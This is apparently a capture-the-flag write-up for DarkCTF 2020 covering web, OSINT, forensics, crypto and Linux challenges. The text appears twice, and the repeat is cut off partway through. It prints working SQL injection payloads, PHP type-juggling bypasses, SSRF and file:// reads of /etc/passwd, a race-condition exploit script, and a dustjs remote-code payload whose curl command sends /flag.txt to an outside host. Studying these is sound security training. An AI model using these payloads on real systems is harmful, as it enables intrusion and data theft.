The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
